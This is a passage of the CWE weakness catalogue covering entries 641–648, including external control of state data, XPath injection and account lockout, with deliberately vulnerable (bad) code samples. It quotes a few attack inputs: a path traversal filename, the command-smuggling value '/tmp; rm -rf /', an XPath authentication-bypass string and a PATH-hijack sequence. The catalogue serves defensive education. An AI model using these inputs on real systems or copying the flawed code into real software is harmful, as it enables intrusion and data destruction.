Phase: Architecture and Design

Assign a new temporary password rather than revealing the original password.

Demonstrative Examples

Example 1:

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1876
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1929
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1938
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	1975

Notes

Maintenance

This entry might be reclassified as a category or "loose composite," since it lists multiple specific errors that can make the mechanism weak. However, under view 1000, it could be a weakness under protection mechanism failure, although it is different from most PMF issues since it is related to a feature that is designed to bypass a protection mechanism (specifically, the lack of knowledge of a password).

Maintenance

This entry probably needs to be split; see extended description.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	49		Insufficient Password Recovery

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
50	Password Recovery Exploitation

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-641: Improper Restriction of Names for Files and Other Resources

Weakness ID : 641 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application constructs the name of a file or other resource using input from an upstream component, but it does not restrict or incorrectly restricts the resulting name.

Extended Description

This may produce resultant weaknesses. For instance, if the names of these resources contain scripting characters, it is possible that a script may get executed in the client's browser if the application ever displays the name of the resource on a dynamically generated web page. Alternately, if the resources are consumed by some application parser, a specially crafted name can exploit some vulnerability internal to the parser, potentially resulting in execution of arbitrary code on the server machine. The problems will vary based on the context of usage of such malformed resource names and whether vulnerabilities are present in or assumptions are made by the targeted technology that would make code execution possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	99	Improper Control of Resource Identifiers ('Resource Injection')	224

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2015
MemberOf	C	137	Data Neutralization Issues	1851
MemberOf	C	399	Resource Management Errors	1864

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Execution of arbitrary code in the context of usage of the resources with dangerous names.*	
Confidentiality Availability	Read Application Data DoS: Crash, Exit, or Restart *Crash of the consumer code of these resources resulting in information leakage or denial of service.*	

Potential Mitigations

Phase: Architecture and Design

Do not allow users to control names of resources used on the server side.

Phase: Architecture and Design

Perform allowlist input validation at entry points and also before consuming the resources. Reject bad file names rather than trying to cleanse them.

Phase: Architecture and Design

Make sure that technologies consuming the resources are not vulnerable (e.g. buffer overflow, format string, etc.) in a way that would allow code execution if the name of the resource is malformed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-642: External Control of Critical State Data

Weakness ID : 642 **Status:** Draft
Structure : Simple
Abstraction : Class

Description

The software stores security-critical state information about its users, or the software itself, in a location that is accessible to unauthorized actors.

Extended Description

If an attacker can modify the state information without detection, then it could be used to perform unauthorized actions or access unexpected resources, since the application programmer does not expect that the state can be changed.

State information can be stored in various locations such as a cookie, in a hidden web form field, input parameter or argument, an environment variable, a database record, within a settings file, etc. All of these locations have the potential to be modified by an attacker. When this state information is used to control security or determine resource usage, then it may create a vulnerability. For example, an application may perform authentication, then save the state in an "authenticated=true" cookie. An attacker may simply create this cookie in order to bypass the authentication.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305
ParentOf	B	15	External Control of System or Configuration Setting	17
ParentOf	B	73	External Control of File Name or Path	125
ParentOf	B	426	Untrusted Search Path	917
ParentOf	B	472	External Control of Assumed-Immutable Web Parameter	1001
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1140

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Often)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *An attacker could potentially modify the state in malicious ways. If the state is related to the privileges or level of authentication that the user has, then state modification might allow the user to bypass authentication or elevate privileges.*	
Confidentiality	Read Application Data *The state variables may contain sensitive information that should not be known by the client.*	
Availability	DoS: Crash, Exit, or Restart *By modifying state variables, the attacker could violate the application's expectations for the contents of the state, leading to a denial of service due to an unexpected error condition.*	

Potential Mitigations

Phase: Architecture and Design

Understand all the potential locations that are accessible to attackers. For example, some programmers assume that cookies and hidden form fields cannot be modified by an attacker, or they may not consider that environment variables can be modified before a privileged program is invoked.

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC)

algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design

Store state information on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions.

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use some frameworks can maintain the state for you. Examples include ASP.NET View State and the OWASP ESAPI Session Management feature. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

Example 2:

The following code uses input from an HTTP request to create a file name. The programmer has not considered the possibility that an attacker could provide a file name such as "../../tomcat/conf/server.xml", which causes the application to delete one of its own configuration files (CWE-22).

Example Language: Java *(bad)*

```
String rName = request.getParameter("reportName");
File rFile = new File("/usr/local/apfr/reports/" + rName);
...
rFile.delete();
```

Example 3:

The following code uses input from a configuration file to determine which file to open and echo back to the user. If the program runs with privileges and malicious users can change the configuration file, they can use the program to read any file on the system that ends with the extension .txt.

Example Language: Java *(bad)*

```
fis = new FileInputStream(cfg.getProperty("sub")+".txt");
amt = fis.read(arr);
out.println(arr);
```

Example 4:

This program is intended to execute a command that lists the contents of a restricted directory, then performs other actions. Assume that it runs with setuid privileges in order to bypass the permissions check by the operating system.

Example Language: C *(bad)*

```
#define DIR "/restricted/directory"
char cmd[500];
sprintf(cmd, "ls -l %480s", DIR);
/* Raise privileges to those needed for accessing DIR. */
RaisePrivileges(...);
system(cmd);
DropPrivileges(...);
...
```

This code may look harmless at first, since both the directory and the command are set to fixed values that the attacker can't control. The attacker can only see the contents for DIR, which is the intended program behavior. Finally, the programmer is also careful to limit the code that executes with raised privileges.

However, because the program does not modify the PATH environment variable, the following attack would work:

The user sets the PATH to reference a directory under that user's control, such as "/my/dir/".
The user creates a malicious program called "ls", and puts that program in /my/dir
The user executes the program.
When system() is executed, the shell consults the PATH to find the ls program
The program finds the malicious program, "/my/dir/ls". It doesn't find "/bin/ls" because PATH does not contain "/bin/".
The program executes the malicious program with the raised privileges.

Example 5:

This code prints all of the running processes belonging to the current user.

Example Language: PHP *(bad)*

```
//assume getCurrentUser() returns a username that is guaranteed to be alphanumeric (CWE-78)
$userName = getCurrentUser();
$command = 'ps aux | grep ' . $userName;
system($command);
```

This program is also vulnerable to a PATH based attack (CWE-426), as an attacker may be able to create malicious versions of the ps or grep commands. While the program does not explicitly raise privileges to run the system commands, the PHP interpreter may by default be running with higher privileges than users.

Example 6:

The following code segment implements a basic server that uses the "ls" program to perform a directory listing of the directory that is listed in the "HOMEDIR" environment variable. The code intends to allow the user to specify an alternate "LANG" environment variable. This causes "ls" to customize its output based on a given language, which is an important capability when supporting internationalization.

Example Language: Perl *(bad)*

```
$ENV{"HOMEDIR"} = "/home/mydir/public/";
my $stream = AcceptUntrustedInputStream();
while (<$stream>) {
    chomp;
    if (/^ENV ([\w\_]+) (.*)/) {
        $ENV{$1} = $2;
    }
    elsif (/^QUIT/) { ... }
    elsif (/^LIST/) {
        open($fh, "/bin/ls -l $ENV{HOMEDIR}|");
        while (<$fh>) {
            SendOutput($stream, "FILEINFO: $_");
        }
        close($fh);
    }
}
```

The programmer takes care to call a specific "ls" program and sets the HOMEDIR to a fixed value. However, an attacker can use a command such as "ENV HOMEDIR /secret/directory" to specify an alternate directory, enabling a path traversal attack (CWE-22). At the same time, other attacks are enabled as well, such as OS command injection (CWE-78) by setting HOMEDIR to a value such as "/tmp; rm -rf /". In this case, the programmer never intends for HOMEDIR to be modified, so input validation for HOMEDIR is not the solution. A partial solution would be an allowlist that only allows the LANG variable to be specified in the ENV command. Alternately, assuming this is an authenticated user, the language could be stored in a local file so that no ENV command at all would be needed.

While this example may not appear realistic, this type of problem shows up in code fairly frequently. See CVE-1999-0073 in the observed examples for a real-world example with similar behaviors.

Observed Examples

Reference	Description
CVE-2005-2428	Mail client stores password hashes for unrelated accounts in a hidden form field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2428*
CVE-2008-0306	Privileged program trusts user-specified environment variable to modify critical configuration settings. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0306*
CVE-1999-0073	Telnet daemon allows remote clients to specify critical environment variables for the server, leading to code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0073*
CVE-2007-4432	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4432*
CVE-2006-7191	Untrusted search path vulnerability through modified LD_LIBRARY_PATH environment variable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7191*
CVE-2008-5738	Calendar application allows bypass of authentication by setting a certain cookie value to 1. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5738*
CVE-2008-5642	Setting of a language preference in a cookie enables path traversal attack. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5642*
CVE-2008-5125	Application allows admin privileges by setting a cookie value to "admin." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5125*
CVE-2008-5065	Application allows admin privileges by setting a cookie value to "admin." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5065*
CVE-2008-4752	Application allows admin privileges by setting a cookie value to "admin." *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4752*
CVE-2000-0102	Shopping cart allows price modification via hidden form field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0102*
CVE-2000-0253	Shopping cart allows price modification via hidden form field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0253*
CVE-2008-1319	Server allows client to specify the search path, which can be modified to point to a program that the client has uploaded. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1319*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	752	2009 Top 25 - Risky Resource Management	750	1893
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP23		Exposed Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Credentials
31	Accessing/Intercepting/Modifying HTTP Cookies

References

[REF-528]OWASP. "Top 10 2007-Insecure Direct Object Reference". 2007. < http://www.owasp.org/index.php/Top_10_2007-A4 >.

[REF-529]"HMAC". 2011 August 8. Wikipedia. < http://en.wikipedia.org/wiki/Hmac >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

Weakness ID : 643 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses external input to dynamically construct an XPath expression used to retrieve data from an XML database, but it does not neutralize or incorrectly neutralizes that input. This allows an attacker to control the structure of the query.

Extended Description

The net effect is that the attacker will have control over the information selected from the XML database and may use that ability to control application flow, modify logic, retrieve unauthorized data, or bypass important checks (e.g. authentication).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	91	XML Injection (aka Blind XPath Injection)	200
ChildOf	C	943	Improper Neutralization of Special Elements in Data Query Logic	1624

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Scope	Impact	Likelihood
	Controlling application flow (e.g. bypassing authentication).	
Confidentiality	Read Application Data *The attacker could read restricted XML content.*	

Potential Mitigations

Phase: Implementation

Use parameterized XPath queries (e.g. using XQuery). This will help ensure separation between data plane and control plane.

Phase: Implementation

Properly validate user input. Reject data where appropriate, filter where appropriate and escape where appropriate. Make sure input that will be used in XPath queries is safe in that context.

Demonstrative Examples

Example 1:

Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:

Example Language: XML *(informative)*

```
<users>
   <user>
      <login>john</login>
      <password>abracadabra</password>
      <home_dir>/home/john</home_dir>
   </user>
   <user>
      <login>cbc</login>
      <password>1mgr8</password>
      <home_dir>/home/cbc</home_dir>
   </user>
</users>
```

The Java code used to retrieve the home directory based on the provided credentials is:

Example Language: Java *(bad)*

```
XPath xpath = XPathFactory.newInstance().newXPath();
XPathExpression xlogin = xpath.compile("//users/user[login/text()='" + login.getUserName() + "' and password/text() = '" +
login.getPassword() + "']/home_dir/text()");
Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File("db.xml"));
String homedir = xlogin.evaluate(d);
```

Assume that user "john" wishes to leverage XPath Injection and login without a valid password. By providing a username "john" and password "' or ''='" the XPath expression now becomes

Example Language: *(attack)*

```
//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()
```

which, of course, lets user "john" login without a valid password, thus bypassing authentication.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	1929
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Notes

Relationship

This weakness is similar to other weaknesses that enable injection style attacks, such as SQL injection, command injection and LDAP injection. The main difference is that the target of attack here is the XML database.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	39		XPath Injection
Software Fault Patterns	SFP24		Tainted input to command

References

[REF-531]Web Application Security Consortium. "XPath Injection". < http://www.webappsec.org/projects/threat/classes/xpath_injection.shtml >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

Weakness ID : 644 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The application does not neutralize or incorrectly neutralizes web scripting syntax in HTTP headers that can be used by web browser components that can process raw headers, such as Flash.

Extended Description

An attacker may be able to conduct cross-site scripting and other attacks against users who have these components enabled.

If an application does not neutralize user controlled data being placed in the header of an HTTP response coming from the server, the header may contain a script that will get executed in the client's browser context, potentially resulting in a cross site scripting vulnerability or possibly an HTTP response splitting attack. It is important to carefully control data that is being placed both in HTTP response header and in the HTTP response body to ensure that no scripting syntax is present, taking various encodings into account.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	116	Improper Encoding or Escaping of Output	260

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *Run arbitrary code.*	
Confidentiality	Read Application Data *Attackers may be able to obtain sensitive information.*	

Potential Mitigations

Phase: Architecture and Design

Perform output validation in order to filter/escape/encode unsafe data that is being passed from the server in an HTTP response header.

Phase: Architecture and Design

Disable script execution functionality in the clients' browser.

Demonstrative Examples

Example 1:

In the following Java example, user-controlled data is added to the HTTP headers and returned to the client. Given that the data is not subject to neutralization, a malicious user may be able to inject dangerous scripting tags that will lead to script execution in the client browser.

Example Language: Java *(bad)*

```
response.addHeader(HEADER_NAME, untrustedRawInputData);
```

Observed Examples

Reference	Description
CVE-2006-3918	Web server does not remove the Expect header from an HTTP request when it is reflected back in an error message, allowing a Flash SWF file to perform XSS attacks. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3918*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	725	OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws	711	1877
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-645: Overly Restrictive Account Lockout Mechanism

Weakness ID : 645 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains an account lockout protection mechanism, but the mechanism is too restrictive and can be triggered too easily, which allows attackers to deny service to legitimate users by causing their accounts to be locked out.

Extended Description

Account lockout is a security feature often present in applications as a countermeasure to the brute force attack on the password based authentication mechanism of the system. After a certain number of failed login attempts, the users' account may be disabled for a certain period of time or until it is unlocked by an administrator. Other security events may also possibly trigger account lockout. However, an attacker may use this very security feature to deny service to legitimate system users. It is therefore important to ensure that the account lockout security mechanism is not overly restrictive.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1017	Lock Computer	1971

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2013
MemberOf	C	1216	Lockout Mechanism Errors	2016

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Other) *Users could be locked out of accounts.*	

Potential Mitigations

Phase: Architecture and Design

Implement more intelligent password throttling mechanisms such as those which take IP address into account, in addition to the login name.

Phase: Architecture and Design

Implement a lockout timeout that grows as the number of incorrect login attempts goes up, eventually resulting in a complete lockout.

Phase: Architecture and Design

Consider alternatives to account lockout that would still be effective against password brute force attacks, such as presenting the user machine with a puzzle to solve (makes it do some computation).

Demonstrative Examples

Example 1:

A famous example of this type of weakness being exploited is the eBay attack. eBay always displays the user id of the highest bidder. In the final minutes of the auction, one of the bidders could try to log in as the highest bidder three times. After three incorrect log in attempts, eBay password throttling would kick in and lock out the highest bidder's account for some time. An attacker could then make their own bid and their victim would not have a chance to place the counter bid because they would be locked out. Thus an attacker could win the auction.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	1936

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
2	Inducing Account Lockout

CWE-646: Reliance on File Name or Extension of Externally-Supplied File

Weakness ID : 646 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software allows a file to be uploaded, but it relies on the file name or extension of the file to determine the appropriate behaviors. This could be used by attackers to cause the file to be misclassified and processed in a dangerous fashion.

Extended Description

An application might use the file name or extension of of a user-supplied file to determine the proper course of action, such as selecting the correct process to which control should be passed, deciding what data should be made available, or what resources should be allocated. If the attacker can cause the code to misclassify the supplied file, then the wrong action could occur. For example, an attacker could supply a file that ends in a ".php.gif" extension that appears to be a GIF image, but would be processed as PHP code. In extreme cases, code execution is possible, but the attacker could also cause exhaustion of resources, denial of service, exposure of debug or system data (including application source code), or being bound to a particular server side process. This weakness may be due to a vulnerability in any of the technologies used by the web and application servers, due to misconfiguration, or resultant from another flaw in the application itself.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		345	Insufficient Verification of Data Authenticity	758

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *An attacker may be able to read sensitive data.*	
Availability	DoS: Crash, Exit, or Restart *An attacker may be able to cause a denial of service.*	
Access Control	Gain Privileges or Assume Identity *An attacker may be able to gain privileges.*	

Potential Mitigations

Phase: Architecture and Design

Make decisions on the server side based on file content and not on file name or extension.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
209	XSS Using MIME Type Mismatch

CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

Weakness ID : 647 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software defines policy namespaces and makes authorization decisions based on the assumption that a URL is canonical. This can allow a non-canonical URL to bypass the authorization.

Extended Description

If an application defines policy namespaces and makes authorization decisions based on the URL, but it does not require or convert to a canonical URL before making the authorization decision,

then it opens the application to attack. For example, if the application only wants to allow access to http://www.example.com/mypage, then the attacker might be able to bypass this restriction using equivalent URLs such as:

- http://WWW.EXAMPLE.COM/mypage
- http://www.example.com/%6Dypage (alternate encoding)
- http://192.168.1.1/mypage (IP address)
- http://www.example.com/mypage/ (trailing /)
- http://www.example.com:80/mypage

Therefore it is important to specify access control policy that is based on the path information in some canonical form with all alternate encodings rejected (which can be accomplished by a default deny rule).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		863	Incorrect Authorization	1573

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Web Server *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *An attacker may be able to bypass the authorization mechanism to gain access to the otherwise-protected URL.*	
Confidentiality	Read Files or Directories *If a non-canonical URL is used, the server may choose to return the contents of the file, instead of pre-processing the file (e.g. as a program).*	

Potential Mitigations

Phase: Architecture and Design

Make access control policy based on path information in canonical form. Use very restrictive regular expressions to validate that the path is in the expected form.

Phase: Architecture and Design

Reject all alternate path encodings that are not in the expected canonical form.

Demonstrative Examples

Example 1:

Example from CAPEC (CAPEC ID: 4, "Using Alternative IP Address Encodings"). An attacker identifies an application server that applies a security policy based on the domain and application name, so the access control policy covers authentication and authorization for anyone accessing http://example.domain:8080/application. However, by putting in the IP address of the host the application authentication and authorization controls may be bypassed http://192.168.0.1:8080/application. The attacker relies on the victim applying policy to the namespace abstraction and not having a default deny policy in place to manage exceptions.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	845	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)	844	1902
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1935
MemberOf	C	1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	1990

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	IDS02-J		Canonicalize path names before validating them

CWE-648: Incorrect Use of Privileged APIs

Weakness ID : 648 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application does not conform to the API requirements for a function call that requires extra privileges. This could allow attackers to gain privileges by causing the function to be called incorrectly.

Extended Description

When an application contains certain functions that perform operations requiring an elevated level of privilege, the caller of a privileged API must be careful to:

- ensure that assumptions made by the APIs are valid, such as validity of arguments
- account for known weaknesses in the design/implementation of the API
- call the API from a safe context

If the caller of the API does not follow these requirements, then it may allow a malicious user or process to elevate their privilege, hijack the process, or steal sensitive data.

For instance, it is important to know if privileged APIs do not shed their privileges before returning to the caller or if the privileged function might make certain assumptions about the data, context or state information passed to it by the caller. It is important to always know when and how privileged APIs can be called in order to ensure that their elevated level of privilege cannot be exploited.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

